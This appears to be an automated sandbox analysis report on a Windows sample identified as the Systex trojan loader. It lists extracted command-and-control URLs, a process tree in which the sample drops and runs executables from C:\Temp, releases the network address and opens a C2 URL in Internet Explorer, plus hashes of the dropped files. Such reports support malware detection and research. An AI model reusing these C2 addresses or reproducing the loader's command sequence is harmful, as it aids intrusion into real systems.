Overview

overview

10

Static

static

10

2026-09-05...op.exe

windows10-2004-x64

10

2026-09-05...op.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    3s
  • max time network
    18s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/09/2026, 20:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-09-05_60a4c00e0fa64f7ce85d94a45d07d34c_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
  • Size 361KB
  • Sample260907-y9hmpsbc56
  • SHA256 f427f932f344cd7bc135be002a0dd962079bd350139574863792c0d18c82dc02
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
discoverysystextrojan

Malware Config

Extracted

Family

  • systex

C2

  • http://xytets.com:2345/t.asp?os=wangba

  • http://xytets.com:2345/t.asp?os=home

  • http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

  • Family: Systex

    Systex is a trojan loader written in C++.

    trojansystex
  • Executes dropped EXE 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 51 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-05_60a4c00e0fa64f7ce85d94a45d07d34c_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-05_60a4c00e0fa64f7ce85d94a45d07d34c_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4324
    • C:\Temp\uomhezxrmkecwuom.exe
      C:\Temp\uomhezxrmkecwuom.exe run
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:4120
      • C:\temp\CreateProcess.exe
        C:\temp\CreateProcess.exe C:\Temp\cwuomhezpj.exe ups_run
        3⤵
          PID:5068
          • C:\Temp\cwuomhezpj.exe
            C:\Temp\cwuomhezpj.exe ups_run
            4⤵
              PID:3060
              • C:\temp\CreateProcess.exe
                C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
                5⤵
                  PID:2788
                  • C:\windows\system32\ipconfig.exe
                    C:\windows\system32\ipconfig.exe /release
                    6⤵
                    • Gathers network information
                    PID:768
            • C:\temp\CreateProcess.exe
              C:\temp\CreateProcess.exe C:\Temp\i_cwuomhezpj.exe ups_ins
              3⤵
                PID:1932
                • C:\Temp\i_cwuomhezpj.exe
                  C:\Temp\i_cwuomhezpj.exe ups_ins
                  4⤵
                    PID:3104
                • C:\temp\CreateProcess.exe
                  C:\temp\CreateProcess.exe C:\Temp\mhbztrljeb.exe ups_run
                  3⤵
                    PID:3108
                    • C:\Temp\mhbztrljeb.exe
                      C:\Temp\mhbztrljeb.exe ups_run
                      4⤵
                        PID:700
                        • C:\temp\CreateProcess.exe
                          C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
                          5⤵
                            PID:408
                            • C:\windows\system32\ipconfig.exe
                              C:\windows\system32\ipconfig.exe /release
                              6⤵
                              • Gathers network information
                              PID:2164
                      • C:\temp\CreateProcess.exe
                        C:\temp\CreateProcess.exe C:\Temp\i_mhbztrljeb.exe ups_ins
                        3⤵
                          PID:3624
                          • C:\Temp\i_mhbztrljeb.exe
                            C:\Temp\i_mhbztrljeb.exe ups_ins
                            4⤵
                              PID:3756
                        • C:\Program Files\Internet Explorer\iexplore.exe
                          "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
                          2⤵
                            PID:3716
                            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3716 CREDAT:17410 /prefetch:2
                              3⤵
                                PID:4840
                          • C:\Temp\uomhezxrmkecwuom.sys
                            C:\Temp\uomhezxrmkecwuom.sys
                            1⤵
                              PID:512
                            • C:\Temp\tomgeywroj.sys
                              C:\Temp\tomgeywroj.sys
                              1⤵
                                PID:564

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    cwuomhezpj.exe
                                    • Path C:\Temp\cwuomhezpj.exe
                                    • Size 73KB
                                    • SHA256 d8efeb9eccc83d2030bac71761d2a808bfd96970526414a5ce356de224078f80
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    cwuomhezpj.exe
                                    • Path C:\Temp\cwuomhezpj.exe
                                    • Size 56KB
                                    • SHA256 468cdf6389846df098264b73255c0063735cbb3ac4328c5cc8899730cf39c9b1
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    i_cwuomhezpj.exe
                                    • Path C:\Temp\i_cwuomhezpj.exe
                                    • Size 68KB
                                    • SHA256 c2b4dffb14a278c4e9cb359242fb17b3f5eff8038225835359d1cd14b32c364b
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    i_cwuomhezpj.exe
                                    • Path C:\Temp\i_cwuomhezpj.exe
                                    • Size 65KB
                                    • SHA256 07171194a369c8ccf8f6d7b390b740b35e19683b57e27605367bbc5c0db5ba4c
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    i_mhbztrljeb.exe
                                    • Path C:\Temp\i_mhbztrljeb.exe
                                    • Size 23KB
                                    • SHA256 31c64bc94b1e04a64b4707c34d8da7f9dc75c5fda61f523dab054573c3c4ece0
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    i_mhbztrljeb.exe
                                    • Path C:\Temp\i_mhbztrljeb.exe
                                    • Size 57KB
                                    • SHA256 2a29d2f4a1b262f2601fac58a7d08c0c17fafb685f2d808ac5d12c678a7a6138
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    mhbztrljeb.exe
                                    • Path C:\Temp\mhbztrljeb.exe
                                    • Size 73KB
                                    • SHA256 70f535295575e2855394111c69c9f962456e9478a1b6c61e22456254035f2280
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    mhbztrljeb.exe
                                    • Path C:\Temp\mhbztrljeb.exe
                                    • Size 54KB
                                    • SHA256 0610d2feecd90c4b5730e413258f7a4677b63ed03e7a55c5f6bb6720cb2ab605
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    tomgeywroj.sys
                                    • Path C:\Temp\tomgeywroj.sys
                                    • Size 92KB
                                    • SHA256 839b3c46dffbcc66da9c21ee93cd26de08b8bed31930516707db39e1608c62e2
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    uomhezxrmkecwuom.exe
                                    • Path C:\Temp\uomhezxrmkecwuom.exe
                                    • Size 92KB
                                    • SHA256 22dc8427d54ac5c15503a88ea69e722222a3bc0bd6c6068b7a228da2c75f997f
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    uomhezxrmkecwuom.exe
                                    • Path C:\Temp\uomhezxrmkecwuom.exe
                                    • Size 141KB
                                    • SHA256 a5cd91ac44ced5e7110d06ef5439bfaf8d664fcd02cd1cfca452991a67e48403
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    uomhezxrmkecwuom.sys
                                    • Path C:\Temp\uomhezxrmkecwuom.sys
                                    • Size 48KB
                                    • SHA256 b78a7cf57e9fcdc42fb577229485fe83fca7c9ce34d4e2f317f2d9771ea8cd57
                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                    Submit Download

                                    CreateProcess.exe
                                    • Path C:\temp\CreateProcess.exe
                                    • Size 3KB
                                    • SHA256 81a266aeb2d0d517d9cd2ce99ee4647f3bd2aee616059b80fa1ba0a887b9500e
                                    • MD5 SHA1 SHA512 TLSH
                                    Submit Download

                                    memory/512-14-0x0000000000010000-0x00000000000AB000-memory.dmp
                                    Download

                                    memory/512-27-0x0000000000010000-0x00000000000AB000-memory.dmp
                                    Download

                                    memory/564-21-0x0000000000010000-0x00000000000AB000-memory.dmp
                                    Download